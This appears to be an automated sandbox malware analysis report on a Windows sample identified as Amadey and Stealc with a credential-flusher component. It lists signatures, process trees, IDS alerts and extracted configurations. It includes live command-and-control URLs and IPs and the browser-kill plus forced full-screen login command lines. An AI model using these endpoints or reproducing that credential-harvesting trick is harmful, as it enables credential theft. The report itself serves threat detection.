Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1524650
MD5:	32533c2b9cc9015b81db22713868ec75
SHA1:	c87d45e06163f8d7f8b7a31f62b9f38008609b3f
SHA256:	1a6fc3b2bda9a9615ec0f20492bd75257b41581e9ccef8d2c04f26642d985632
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Credential Flusher, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Excessive usage of taskkill to terminate processes

Found API chain indicative of sandbox detection

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Uses taskkill to terminate processes

Classification

Process Tree

System is w10x64

file.exe (PID: 3440 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 32533C2B9CC9015B81DB22713868EC75)

skotes.exe (PID: 5292 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 32533C2B9CC9015B81DB22713868EC75)

skotes.exe (PID: 4676 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 32533C2B9CC9015B81DB22713868EC75)

c0968d0b44.exe (PID: 1864 cmdline: "C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe" MD5: 45C675B6790E21EACDB1F3478FCADFDA)

taskkill.exe (PID: 4216 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5728 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5900 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6496 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2520 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 6324 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6364 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=1912,i,10956692214313634026,6000861696528189421,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

7d57c960f4.exe (PID: 2516 cmdline: "C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe" MD5: 9230158D2D15F5F7140B53912347A845)

skotes.exe (PID: 2828 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 32533C2B9CC9015B81DB22713868EC75)

c0968d0b44.exe (PID: 6116 cmdline: "C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe" MD5: 45C675B6790E21EACDB1F3478FCADFDA)

taskkill.exe (PID: 4852 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5532 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6096 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4448 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6168 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 7084 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7044 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1948,i,592972262324258279,17265959936427429495,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

taskkill.exe (PID: 7144 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4212 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3924 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1052 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6020 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 1576 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1124 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=2008,i,5070483553180137210,3664771771658724366,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

7d57c960f4.exe (PID: 3496 cmdline: "C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe" MD5: 9230158D2D15F5F7140B53912347A845)

c0968d0b44.exe (PID: 4508 cmdline: "C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe" MD5: 45C675B6790E21EACDB1F3478FCADFDA)

taskkill.exe (PID: 5352 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1720 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4696 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3140 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5492 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 6604 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5420 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2020 --field-trial-handle=1932,i,3992076036556009603,15202519978378107295,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

taskkill.exe (PID: 1052 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6480 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3940 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6656 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1120 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 3924 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5788 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2012,i,8412964653088469761,193010010935408969,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

7d57c960f4.exe (PID: 6204 cmdline: "C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe" MD5: 9230158D2D15F5F7140B53912347A845)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.7314679231.0000000000581000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.2179762911.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002E.00000002.3014643048.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000002.2853200154.000000000131E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2196541682.0000000000DB1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000048.00000002.3176320854.0000000000B11000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000003.2679853032.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.2223310225.0000000000581000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000014.00000003.2811437175.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000048.00000003.3136026898.00000000054A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000048.00000002.3177655961.00000000017DB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000002E.00000002.3013609480.0000000000B11000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000002.2852426482.0000000000B11000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2154412157.0000000004810000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002E.00000003.2972457560.0000000005030000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: c0968d0b44.exe PID: 1864	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 7d57c960f4.exe PID: 2516	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 7d57c960f4.exe PID: 2516	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: c0968d0b44.exe PID: 6116	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 7d57c960f4.exe PID: 3496	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 7d57c960f4.exe PID: 3496	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: c0968d0b44.exe PID: 4508	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 7d57c960f4.exe PID: 6204	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 7d57c960f4.exe PID: 6204	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.file.exe.db0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.skotes.exe.580000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
20.2.7d57c960f4.exe.b10000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
72.2.7d57c960f4.exe.b10000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
2.2.skotes.exe.580000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
46.2.7d57c960f4.exe.b10000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 4676, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\c0968d0b44.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 4676, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\c0968d0b44.exe

Suricata Signatures

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T03:27:11.841427+0200	2044696	1	A Network Trojan was detected	192.168.2.5	49737	185.215.113.43	80	TCP
2024-10-03T03:27:17.118070+0200	2044696	1	A Network Trojan was detected	192.168.2.5	49749	185.215.113.43	80	TCP
2024-10-03T03:27:20.814519+0200	2044696	1	A Network Trojan was detected	192.168.2.5	49759	185.215.113.43	80	TCP
2024-10-03T03:28:49.936371+0200	2044696	1	A Network Trojan was detected	192.168.2.5	49815	185.215.113.43	80	TCP
2024-10-03T03:28:53.604992+0200	2044696	1	A Network Trojan was detected	192.168.2.5	49818	185.215.113.43	80	TCP
2024-10-03T03:28:56.328388+0200	2044696	1	A Network Trojan was detected	192.168.2.5	49819	185.215.113.43	80	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T03:27:17.333175+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49748	185.215.113.37	80	TCP
2024-10-03T03:27:34.060986+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49777	185.215.113.37	80	TCP
2024-10-03T03:27:50.247856+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49785	185.215.113.37	80	TCP
2024-10-03T03:28:52.383148+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49817	185.215.113.37	80	TCP
2024-10-03T03:29:09.892420+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49836	185.215.113.37	80	TCP
2024-10-03T03:29:27.059340+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49867	185.215.113.37	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T03:27:04.970524+0200	2856147	1	A Network Trojan was detected	192.168.2.5	49734	185.215.113.43	80	TCP
2024-10-03T03:33:01.444427+0200	2856147	1	A Network Trojan was detected	192.168.2.5	64682	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T03:27:11.144468+0200	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49735	TCP
2024-10-03T03:28:49.223428+0200	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49813	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T03:27:08.015699+0200	2803305	3	Unknown Traffic	192.168.2.5	49736	185.215.113.103	80	TCP
2024-10-03T03:27:12.570722+0200	2803305	3	Unknown Traffic	192.168.2.5	49738	185.215.113.103	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000333001\634af23a05.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000002.00000003.2179762911.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 72.2.7d57c960f4.exe.b10000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1000333001\634af23a05.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 57%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 57%
Source: file.exe	Virustotal: Detection: 59%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1000332001\da8dfab19c.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000333001\634af23a05.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49784 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49729 version: TLS 1.2
